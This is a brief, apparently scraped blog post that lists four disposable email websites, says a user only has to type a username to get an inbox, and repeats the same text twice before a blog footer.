http://www.bspamfree.org/
http://www.yopmail.com/
http://dodgeit.com/
http://www.spam.la/
just fill username u got email
from CA.com
http://www.bspamfree.org/
http://www.yopmail.com/
http://dodgeit.com/
http://www.spam.la/
just fill username u got email
from CA.com
Subscribe to:
Posts (Atom)